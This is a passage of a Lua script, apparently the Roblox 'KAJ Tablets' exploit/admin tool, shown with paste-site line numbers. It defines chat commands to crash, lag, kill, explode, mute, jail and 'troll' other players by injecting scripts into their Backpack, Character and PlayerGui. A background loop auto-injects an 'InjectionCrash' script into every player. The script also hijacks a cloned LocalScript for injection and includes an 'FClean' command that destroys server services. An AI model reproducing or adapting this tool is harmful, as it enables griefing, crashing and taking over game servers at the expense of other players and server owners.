                        for _,v in pairs(All()) do
1624
                                if CanRun(Plr, v) then
1625
                                        table.insert(Players, v)
1626
                                end
1627
                        end
1628
                elseif Name == "others" then
1629
                        for _,v in pairs(All()) do
1630
                                if v.Name ~= Plr.Name and CanRun(Plr, v) then
1631
                                        table.insert(Players, v)
1632
                                end
1633
                        end
1634
                elseif Name == "random" then
1635
                        local FoundRandPlr = randPlayer(Plr)
1636
                        table.insert(Players, FoundRandPlr)
1637
                else
1638
                        for _,v in pairs(All()) do
1639
                                if v.Name:lower():find(Name) and CanRun(Plr, v) then
1640
                                        table.insert(Players, v)
1641
                                end
1642
                        end
1643
                end
1644
        end)
1645
        return Players
1646
end
1647
1648
function ListPlayers(Speaker)
1649
        ypcall(function()
1650
                Dismiss(Speaker)
1651
                for _,v in pairs(All2()) do
1652
                        if v.Parent ~= nil then
1653
                                Ping(v.Name, Speaker, nil, function()
1654
                                        Dismiss(Speaker)
1655
                                        Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1656
                                        Ping("Rank: "..FindRank(v.Name), Speaker)
1657
                                        Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
1658
                                        Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
1659
                                        Ping("Set Rank", Speaker, nil, function()
1660
                                                if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
1661
                                                        Dismiss(Speaker)
1662
                                                        for i = -2, 5 do
1663
                                                                Ping(i, Speaker, nil, function()
1664
                                                                        ChangeRank(v, i)
1665
                                                                        Dismiss(Speaker)
1666
                                                                        Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
1667
                                                                end)
1668
                                                        end
1669
                                                else
1670
                                                        Ping("Your Rank Is Too Low", Speaker, 5)
1671
                                                end
1672
                                        end)
1673
                                        Ping("Crash (Remote)", Speaker, nil, function()
1674
                                                if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then 
1675
                                                        Crash2(v.Name)
1676
                                                        Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
1677
                                                end
1678
                                        end)
1679
                                        Ping("Crash (Insert)", Speaker, nil, function()
1680
                                                if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then 
1681
                                                        Crash3(v, Speaker)
1682
                                                        Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
1683
                                                end
1684
                                        end)
1685
                                        Ping("Kick", Speaker, nil, function()
1686
                                                if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then 
1687
                                                        v:Kick()
1688
                                                        Ping("Attempted To Kick "..v.Name, Speaker, 5)
1689
                                                end
1690
                                        end)
1691
                                end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1692
                        else
1693
                                Ping(v.Name.." (Nil)", Speaker, nil, function()
1694
                                        Dismiss(Speaker)
1695
                                        Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1696
                                        ypcall(function()
1697
                                                Ping("Rank: "..FindRank(v.Name), Speaker)
1698
                                        end)
1699
                                        ypcall(function()
1700
                                                Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
1701
                                        end)
1702
                                        ypcall(function()
1703
                                                Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
1704
                                        end)
1705
                                        ypcall(function()
1706
                                                Ping("Set Rank", Speaker, nil, function()
1707
                                                        if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
1708
                                                                Dismiss(Speaker)
1709
                                                                for i = -2, 5 do
1710
                                                                        Ping(i, Speaker, nil, function()
1711
                                                                                ChangeRank(v, i)
1712
                                                                                Dismiss(Speaker)
1713
                                                                                Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
1714
                                                                        end)
1715
                                                                end
1716
                                                        else
1717
                                                                Ping("Your Rank Is Too Low", Speaker, 5)
1718
                                                        end
1719
                                                end)
1720
                                        end)
1721
                                        ypcall(function()
1722
                                                Ping("Nil Crash (Remote)", Speaker, nil, function()
1723
                                                        if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then 
1724
                                                                Crash2(v.Name)
1725
                                                                Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
1726
                                                        end
1727
                                                end)
1728
                                        end)
1729
                                        ypcall(function()
1730
                                                Ping("Nil Crash (Insert)", Speaker, nil, function()
1731
                                                        if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then 
1732
                                                                Crash3(v, Speaker)
1733
                                                                Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
1734
                                                        end
1735
                                                end)
1736
                                        end)
1737
                                end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1738
                        end
1739
                end
1740
        end)
1741
end
1742
1743
--Misc
1744
1745
coroutine.resume(coroutine.create(function()
1746
        PlaceAllRanks()
1747
end))
1748
        
1749
Delay(0, function()
1750
        for _,v in pairs(All()) do
1751
                v.Chatted:connect(function(Msg)
1752
                         onChatted(Msg, v) 
1753
                        end)
1754
        end
1755
end)
1756
1757
local starttime = tick()
1758
1759
game:GetService("RunService").Heartbeat:connect(function()
1760
        if Removed == false then 
1761
                ypcall(function()
1762
                        for _,Player in pairs(All()) do
1763
                                local PlayerTablets = {}
1764
                                for i,v in pairs(AllTabs) do
1765
                                        if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
1766
                                                table.insert(PlayerTablets, v)
1767
                                        end
1768
                                end
1769
                                for i = 1, #PlayerTablets do
1770
                                        ypcall(function()
1771
                                                local tab = PlayerTablets[i].Tab
1772
                                                local pos = nil
1773
                                                ypcall(function()
1774
                                                        pos = Player.Character.Torso.CFrame
1775
                                                end)
1776
                                                local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
1777
                                                local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
1778
                                                local cPos = tab.Position
1779
                                                local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
1780
                                                local nPos = (ePos-cPos)*.25
1781
                                                cPos = cPos + nPos
1782
                                                local t = (tick() - starttime) % 360
1783
                                                local change = 0.625
1784
                                                PlayerTablets[i].Size = math.sin(t) * change + 2.375
1785
                                                tab.Size = Vector3.new(PlayerTablets[i].Size * 1.2, PlayerTablets[i].Size * 1.2,PlayerTablets[i].Size * 1.2)
1786
                                                tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
1787
                                        end)
1788
                                end
1789
                        end
1790
                end)
1791
        end
1792
end)
1793
1794
Delay(0, function()
1795
        while wait() do
1796
                for _,v in pairs(game:GetService("Players"):GetPlayers()) do
1797
                        ypcall(function()
1798
                                if Injected[v.Name] == nil and LS ~= nil then
1799
                                        Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
1800
                                        Injected[v.Name] = true
1801
                                end
1802
                        end)
1803
                end
1804
        end
1805
end)
1806
1807
Plrs.PlayerAdded:connect(function(Plr)
1808
        wait(.1)
1809
        ypcall(function()
1810
                if Removed == false then
1811
                        local JoinPlrName = Plr.Name
1812
                        coroutine.resume(coroutine.create(function()
1813
                                PlaceSpecificRank(Plr)
1814
                        end))
1815
                        coroutine.resume(coroutine.create(function()
1816
                                if Injected[JoinPlrName] ~= nil then
1817
                                        Injected[JoinPlrName] = nil
1818
                                end
1819
                        end))
1820
                        coroutine.resume(coroutine.create(function()
1821
                                Dismiss(Plr)
1822
                                Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
1823
                        end))
1824
                end
1825
        end)
1826
end)
1827
1828
Plrs.PlayerRemoving:connect(function(Plr)
1829
        wait(.1)
1830
        ypcall(function()
1831
                if Removed == false then
1832
                        local LeftPlrName = Plr.Name
1833
                        coroutine.resume(coroutine.create(function()
1834
                                if Injected[LeftPlrName] ~= nil then
1835
                                        Injected[LeftPlrName] = nil
1836
                                end
1837
                        end))
1838
                end
1839
        end)
1840
end)
1841
1842
coroutine.resume(coroutine.create(function()
1843
        Delay(0, function()
1844
                while FoundLocalScript == false do wait()
1845
                        ypcall(function()
1846
                                for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
1847
                                        if v.Name == "NewTransfer" and v:IsA("LocalScript") then
1848
                                                for _,c in pairs(v:children()) do
1849
                                                        if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
1850
                                                                local NewVal = c:Clone()
1851
                                                                NewVal.Name = "LoadingVal"
1852
                                                                for _,s in pairs(v:GetChildren()) do
1853
                                                                        if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
1854
                                                                                print("Found Owner")
1855
                                                                                OwnSource = s.Name
1856
                                                                                print(OwnSource)
1857
                                                                                break
1858
                                                                        end
1859
                                                                end
1860
                                                                wait()
1861
                                                                LS = v:Clone()
1862
                                                                NewVal.Parent = LS
1863
                                                                LSSource = "LoadingVal"
1864
                                                                FoundLocalScript = true
1865
                                                                break
1866
                                                        end
1867
                                                end
1868
                                        end
1869
                                end
1870
                        end)
1871
                end
1872
        end)
1873
end))
1874
1875
--Commands
1876
1877
Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
1878
        Dismiss(Speaker.Name)
1879
        Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
1880
        Ping("Every Single Command", Speaker, nil, function() OpenCmds(1337, Speaker) end)
1881
        Ping("Rank Zero", Speaker, nil, function() OpenCmds(0, Speaker) end)
1882
        Ping("Rank One", Speaker, nil, function() OpenCmds(1, Speaker) end)
1883
        Ping("Rank Two", Speaker, nil, function() OpenCmds(2, Speaker) end)
1884
        Ping("Rank Three", Speaker, nil, function() OpenCmds(3, Speaker) end)
1885
        Ping("Rank Four", Speaker, nil, function() OpenCmds(4, Speaker) end)
1886
        Ping("Rank Five", Speaker, nil, function() OpenCmds(5, Speaker) end)
1887
        
1888
end)
1889
1890
Command("Dt", nil, "Dismiss Tablets", function(Msg, Speaker)
1891
        Dismiss(Speaker.Name)
1892
end)
1893
1894
Command("Kill", 2, "Kills A Player", 
1895
        function(Msg, Speaker)
1896
        local PlrTab = getPlayer(Speaker, Msg)
1897
        if #PlrTab > 0 then
1898
                for _,v in pairs(PlrTab) do
1899
                        ypcall(function()
1900
                                v.Character:BreakJoints()
1901
                                Ping("Killed "..v.Name, Speaker, 5)
1902
                        end)
1903
                end
1904
        end
1905
end)
1906
1907
Command("expl", 2, "Explodes A Player", 
1908
        function(Msg, Speaker)
1909
        local PlrTab = getPlayer(Speaker, Msg)
1910
        if #PlrTab > 0 then
1911
                for _,v in pairs(PlrTab) do
1912
                        ypcall(function()
1913
                if v.Character and v.Character:findFirstChild("Head") then
1914
                        local e = Instance.new("Explosion")
1915
                        e.Position = v.Character.Head.Position
1916
                        e.Parent = v.Character
1917
                                Ping("Exploded "..v.Name, Speaker, 5)
1918
                                end
1919
                        end)
1920
                end
1921
        end
1922
end)
1923
1924
1925
Command("Dall", 4, "Dismiss everyones tabs", function(Msg, Speaker)
1926
        Dismiss()
1927
end)
1928
1929
Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
1930
        local PlrTab = getPlayer(Speaker, Msg)
1931
        if #PlrTab > 0 then
1932
                for _,v in pairs(PlrTab) do
1933
                        ypcall(function()
1934
                                if v.Name ~= Owner then
1935
                                        Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
1936
                                        Ping("Muted "..v.Name, Speaker, 5)
1937
                                end
1938
                        end)
1939
                end
1940
        end
1941
end)
1942
1943
1944
1945
Command("PTroll", 3, "Troll a player", function(Msg, Speaker)
1946
        local PlrTab = getPlayer(Speaker, Msg)
1947
        if #PlrTab > 0 then
1948
                for _,v in pairs(PlrTab) do
1949
                        ypcall(function()
1950
                                        Insert(FunScript, v.Backpack, v.Character, v.PlayerGui)
1951
                                        
1952
                        end)
1953
                end
1954
        end
1955
end)
1956
1957
Command("Connect", 3, "Connect for nil", function(Msg, Speaker)
1958
        local PlrTab = getPlayer(Speaker, Msg)
1959
        if #PlrTab > 0 then
1960
                for _,v in pairs(PlrTab) do
1961
                        ypcall(function()
1962
                                        Insert(NilS, v.Backpack, v.Character, v.PlayerGui)
1963
                                        
1964
                        end)
1965
                end
1966
        end
1967
end)
1968
Command("Cred", nil, "Shows the credits of who made", function(Msg, Speaker)
1969
        Dismiss()
1970
        for i = 1, 2 do
1971
        Ping("Kaj Tablets are actually DVF made by flipflop8421, I just edited them,so like 98% credit to flipflop8421 qq", Speaker)
1972
end end)
1973
Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
1974
        local PlrTab = getPlayer(Speaker, Msg)
1975
        if #PlrTab > 0 then
1976
                for _,v in pairs(PlrTab) do
1977
                        ypcall(function()
1978
                                Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
1979
                                Ping("Rejoined "..v.Name, Speaker, 5)
1980
                        end)
1981
                end
1982
        end
1983
end)
1984
1985
Command("Jail", 3, "Jails A Player", function(Msg, Speaker)
1986
        local PlrTab = getPlayer(Speaker, Msg)
1987
        if #PlrTab > 0 then
1988
                for _,v in pairs(PlrTab) do
1989
                        ypcall(function()
1990
                                Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
1991
                                Ping("Jailed "..v.Name, Speaker, 5)
1992
                        end)
1993
                end
1994
        end
1995
end)
1996
1997
Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
1998
        local PlrTab = getPlayer(Speaker, Msg)
1999
        if #PlrTab > 0 then
2000
                for _,v in pairs(PlrTab) do
2001
                        ypcall(function()
2002
                                Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
2003
                                Ping("Lag Crashing "..v.Name, Speaker, 5)
2004
                        end)
2005
                end
2006
        end
2007
end)
2008
2009
Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
2010
        local PlrTab = getPlayer(Speaker, Msg)
2011
        if #PlrTab > 0 then
2012
                for _,v in pairs(PlrTab) do
2013
                        ypcall(function()
2014
                                Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
2015
                                Ping("UnMuted "..v.Name, Speaker, 5)
2016
                        end)
2017
                end
2018
        end
2019
end)
2020
2021
Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
2022
        local Worked = false
2023
        for _,v in pairs(Work:GetChildren()) do
2024
                if string.find(v.Name:lower(), Msg:lower()) then
2025
                        if v:IsA("Script") or v:IsA("LocalScript") then
2026
                                v.Disabled = true
2027
                                v:Destroy()
2028
                                Worked = true
2029
                                Ping("Disabled Script: "..v.Name, Speaker, 5)
2030
                        end
2031
                end
2032
        end
2033
        if Worked == false then
2034
                Ping("Script Not Found", Speaker, 5)
2035
        end
2036
end)
2037
2038
Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
2039
        Dismiss(Speaker)
2040
        local AllScripts = {}
2041
        for _,v in pairs(Work:GetChildren()) do
2042
                if v:IsA("Script") then
2043
                        table.insert(AllScripts, v.Name)
2044
                end
2045
        end
2046
        if #AllScripts > 0 then
2047
                for _,v in pairs(AllScripts) do
2048
                        Ping(v, Speaker)
2049
                end
2050
        else
2051
                Ping("No Scripts Found", Speaker, 5)
2052
        end
2053
end)
2054
2055
Command("afk",0,'Makes you go AFK',
2056
         function(Msg,Speaker)
2057
                Dismiss(Speaker)
2058
                for i = 1,8 do
2059
                        Ping('AFK',Speaker)
2060
                                                        wait(.01)
2061
                        end
2062
        end)
2063
Command("back",0,'Creates Tablets telling everyone that you are back',
2064
         function(Msg,Speaker)
2065
                Dismiss(Speaker)
2066
                for i = 1,8 do
2067
                        Ping('Welcome Back!',Speaker,6)
2068
                                        wait(.1)
2069
                        end
2070
        end)
2071
2072
2073
2074
2075
Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
2076
        Dismiss(Speaker)
2077
        local LocalScripts = {}
2078
        for _,v in pairs(All()) do
2079
                ypcall(function()
2080
                        for _,x in pairs(v.Character:GetChildren()) do
2081
                                if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
2082
                                        table.insert(LocalScripts, x.Name .. " - " .. v.Name)
2083
                                end
2084
                        end
2085
                end)
2086
                ypcall(function()
2087
                        for _,x in pairs(v.Backpack:GetChildren()) do
2088
                                if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
2089
                                        table.insert(LocalScripts, x.Name .. " - " .. v.Name)
2090
                                end
2091
                        end
2092
                end)
2093
                ypcall(function()
2094
                        for _,x in pairs(v.PlayerGui:GetChildren()) do
2095
                                if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
2096
                                        table.insert(LocalScripts, x.Name .. " - " .. v.Name)
2097
                                end
2098
                        end
2099
                end)
2100
        end
2101
        if #LocalScripts > 0 then
2102
                for _,v in pairs(LocalScripts) do
2103
                        Ping(v, Speaker)
2104
                end
2105
        else
2106
                Ping("No Local Scripts Found", Speaker, 5)
2107
        end
2108
end)
2109
2110
Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
2111
        local Split = GetSplit(Msg)
2112
        local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
2113
        local ScriptName = Msg:sub(Split + 1)
2114
        local FoundLocal = false
2115
        for _,name in pairs(PlrTab) do
2116
                ypcall(function()
2117
                        for _,v in pairs(name.Character:GetChildren()) do
2118
                                if string.find(v.Name:lower(), ScriptName) then
2119
                                        if v:IsA("Script") or v:IsA("LocalScript") then
2120
                                                v.Disabled = true
2121
                                                v:Destroy()
2122
                                                FoundLocal = true
2123
                                                Ping("Disabled Local Script: "..v.Name, Speaker, 5)
2124
                                        end
2125
                                end
2126
                        end
2127
                end)
2128
                ypcall(function()
2129
                        for _,v in pairs(name.Backpack:GetChildren()) do
2130
                                if string.find(v.Name:lower(), ScriptName) then
2131
                                        if v:IsA("Script") or v:IsA("LocalScript") then
2132
                                                v.Disabled = true
2133
                                                v:Destroy()
2134
                                                FoundLocal = true
2135
                                                Ping("Disabled Local Script: "..v.Name, Speaker, 5)
2136
                                        end
2137
                                end
2138
                        end
2139
                end)
2140
                ypcall(function()
2141
                        for _,v in pairs(name.PlayerGui:GetChildren()) do
2142
                                if string.find(v.Name:lower(), ScriptName) then
2143
                                        if v:IsA("Script") or v:IsA("LocalScript") then
2144
                                                v.Disabled = true
2145
                                                v:Destroy()
2146
                                                FoundLocal = true
2147
                                                Ping("Disabled Local Script: "..v.Name, Speaker, 5)
2148
                                        end
2149
                                end
2150
                        end
2151
                end)
2152
                if FoundLocal == false then
2153
                        Ping("Local Script Not Found", Speaker, 5)
2154
                end
2155
        end
2156
end)
2157
2158
Command("FClean", 3, "Fully Cleans The Server", function(Msg, Speaker)
2159
        for _,v in pairs(game:GetChildren()) do
2160
                ypcall(function()
2161
                        if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
2162
                                for _,a in pairs(v:GetChildren()) do
2163
                                        ypcall(function()
2164
                                                a:Destroy()
2165
                                        end)
2166
                                end
2167
                        elseif v.Name == "Players" then
2168
                                for _,plr in pairs(v:GetPlayers()) do
2169
                                        Clear(plr)
2170
                                end
2171
                        end
2172
                end)
2173
        end
2174
        Clean()
2175
        Fixl()
2176
        Ping("Fully Cleaned", Speaker, 5)
2177
end)
2178
2179
Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
2180
        LClean()
2181
        Fixl()
2182
        Ping("Lightly Cleaned", Speaker, 5)
2183
end)
2184
2185
Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
2186
        local PlrTab = getPlayer(Speaker, Msg)
2187
        if #PlrTab > 0 then
2188
                for _,v in pairs(PlrTab) do
2189
                        ypcall(function()
2190
                                v:LoadCharacter()
2191
                                Ping("Reset "..v.Name, Speaker, 5)
2192
                        end)
2193
                end
2194
        end
2195
end)
2196
2197
Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
2198
        repeat wait() until Speaker.Character:findFirstChild("Torso")
2199
        if Work:findFirstChild("Base") then
2200
                Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
2201
        else
2202
                Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
2203
        end
2204
        Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
2205
end)
2206
2207
Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
2208
        local PlrTab = getPlayer(Speaker, Msg)
2209
        if #PlrTab > 0 then
2210
                for _,v in pairs(PlrTab) do
2211
                        ypcall(function()
2212
                                v.Character.Torso.Anchored = true
2213
                                Ping("Froze "..v.Name, Speaker, 5)
2214
                        end)
2215
                end
2216
        end
2217
end)
2218
2219
Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
2220
        wait(3)
2221
        Ping("Something went wrong",Speaker,5)
2222
        end)
2223
2224
Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
2225
        local PlrTab = getPlayer(Speaker, Msg)
2226
        if #PlrTab > 0 then
2227
                for _,v in pairs(PlrTab) do
2228
                        ypcall(function()
2229
                                Instance.new("ForceField", v.Character)
2230
                        end)
2231
                end
2232
        end
2233
end)
2234
2235
Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
2236
        local PlrTab = getPlayer(Speaker, Msg)
2237
        if #PlrTab > 0 then
2238
                for _,v in pairs(PlrTab) do
2239
                        ypcall(function()
2240
                                RemObj(v.Character, "ForceField")
2241
                        end)
2242
                end
2243
        end
2244
end)
2245
2246
Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
2247
        local Split = GetSplit(Msg)
2248
        local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
2249
        local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
2250
        if #PlrTab > 0 and #PlrTab2 > 0 then
2251
                for i,v in pairs(PlrTab) do
2252
                        ypcall(function()
2253
                                for _,v2 in pairs(PlrTab2) do
2254
                                        ypcall(function()
2255
                                                v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
2256
                                                Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
2257
                                        end)
2258
                                end
2259
                        end)
2260
                end
2261
        end
2262
end)
2263
2264
Command("Msg",2, "Creates a Message",
2265
        function(Msg,Speaker)
2266
                Message(Msg)
2267
end)
2268
2269
Command("H",2, "Creates a Hint",
2270
        function(Msg,Speaker)
2271
                Hint(Msg)
2272
end)
2273
2274
Command("Sm",2, "Creates a System message",
2275
        function(Msg,Speaker)
2276
                SystemMsg(Msg)
2277
end)
2278
2279
function Message(str,p)
2280
        if p==nil then
2281
                for _,Player in pairs(game.Players:GetPlayers()) do
2282
                        coroutine.wrap(function()
2283
                                local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
2284
                                local Text = Instance.new("TextLabel", Msg)
2285
                                Text.Position = UDim2.new(0, 0, 0.7, 0)
2286
                                Text.Font=2
2287
                                Text.FontSize=9
2288
                                Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
2289
                                Text.BackgroundTransparency = 0.4
2290
                                Text.TextColor3 = Color3.new(1, 1, 1)
2291
                                Text.TextTransparency = 1
2292
                                Text.TextWrap = true
2293
                                Text.Text = tostring(str)
2294
                                Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
2295
                                Text.TextTransparency = 0
2296
                                Num = #str * 0.06
2297
                                wait(3)
2298
                                Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
2299
                                wait(Num)
2300
                                Msg:Remove()
2301
                        end)()
2302
                end
2303
        else
2304
                Player=p;
2305
                coroutine.wrap(function()
2306
                        local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
2307
                        local Text = Instance.new("TextLabel", Msg)
2308
                        Text.Position = UDim2.new(0, 0, 0.7, 0)
2309
                        Text.Font=2
2310
                        Text.FontSize=9
2311
                        Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
2312
                        Text.BackgroundTransparency = 0.1
2313
                        Text.TextColor3 = Color3.new(1, 1, 1)
2314
                        Text.TextTransparency = 1
2315
                        Text.TextWrap = true
2316
                        Text.Text = tostring(str)
2317
                        Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
2318
                        Text.TextTransparency = 0
2319
                        Num = #str * 0.06
2320
                        wait(3)
2321
                        Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
2322
                        wait(Num)
2323
                        Msg:Remove()
2324
                end)()
2325
        end
2326
end
2327
function SystemMsg(str)
2328
        for _,Player in pairs(game.Players:GetPlayers()) do
2329
                coroutine.wrap(function()
2330
                        local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
2331
                        local Text = Instance.new("TextLabel", Msg)
2332
                        Text.Position = UDim2.new(0, 0, 0, 0)
2333
                        Text.Font='Legacy'
2334
                        Text.FontSize = "Size48"
2335
                        Text.BackgroundColor3 = Color3.new(-1,-1,-1)
2336
                        Text.BackgroundTransparency = 0.4
2337
                        Text.TextColor3 = Color3.new(1,1,1)
2338
                        Text.TextTransparency = 0
2339
                        Text.TextWrap = true
2340
                        Text.Text = ' [ System ] \n ' .. tostring(str)
2341
                        Text:TweenSizeAndPosition(UDim2.new(1, 0, 1, 0), UDim2.new(0, 0, 0, 0), "Out", "Back", 2)
2342
                        Text.TextTransparency = 0.1
2343
                        Num = #str * 0.06
2344
                        wait(6)
2345
                        Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
2346
                        wait(Num)
2347
                        Msg:Remove()
2348
                end)()
2349
        end
2350
end
2351
function Hint(str,p)
2352
        if p == nil then
2353
                for _,Player in pairs(game.Players:GetPlayers()) do
2354
                        coroutine.wrap(function()
2355
                                local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
2356
                                local Text = Instance.new("TextLabel", Msg)
2357
                                Text.Position = UDim2.new(0, 0, 0, 0)
2358
                                Text.Font=2
2359
                                Text.FontSize=9
2360
                                Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
2361
                                Text.BackgroundTransparency = 0.4
2362
                                Text.TextColor3 = Color3.new(1, 1, 1)
2363
                                Text.TextTransparency = 1
2364
                                Text.TextWrap = true
2365
                                Text.Text = tostring(str)
2366
                                Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
2367
                                Text.TextTransparency = 0
2368
                                Num = #str * 0.06
2369
                                wait(3)
2370
                                Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
2371
                                wait(Num)
2372
                                Msg:Remove()
2373
                        end)()
2374
                end
2375
        else
2376
                Player=p
2377
                coroutine.wrap(function()
2378
                        local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
2379
                        local Text = Instance.new("TextLabel", Msg)
2380
                        Text.Position = UDim2.new(0, 0, 0, 0)
2381
                        Text.Font=2
2382
                        Text.FontSize=9
2383
                        Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
2384
                        Text.BackgroundTransparency = 0.1
2385
                        Text.TextColor3 = Color3.new(1, 1, 1)
2386
                        Text.TextTransparency = 1
2387
                        Text.TextWrap = true
2388
                        Text.Text = tostring(str)
2389
                        Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
2390
                        Text.TextTransparency = 0
2391
                        Num = #str * 0.06
2392
                        wait(3)
2393
                        Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
2394
                        wait(Num)
2395
                        Msg:Remove()
2396
                end)()
2397
        end
2398
end
2399
2400
Command("Explore", 3, "Opens An Object Explorer", function(Msg, Speaker)
2401
        MakeExplorer(Speaker)
2402
end)
2403
2404
2405
Command("Sinfo", 0, "Show the Script info", function(Msg, Speaker)
2406
        wait()
2407
        Dismiss(Speaker)
2408
        NumBanned = 0
2409
        NumCmds = 0
2410
        for i = 1, #Rankings do
2411
                if Rankings[i].Rank < 0 then
2412
                        NumBanned = NumBanned + 1
2413
                end
2414
        end
2415
        for i,v in pairs(Commands) do
2416
                NumCmds = NumCmds + 1
2417
        end
2418
        Ping("KAJ Tablets!", Speaker)
2419
        Ping("Editor,", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("4611tlaboC"))
2420
        Ping("Second Editor,", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("21wopih"))
2421
        Ping("I started this on 6/9/2014", Speaker)
2422
        
2423
        Ping(#All2.." players online in the server",Speaker)
2424
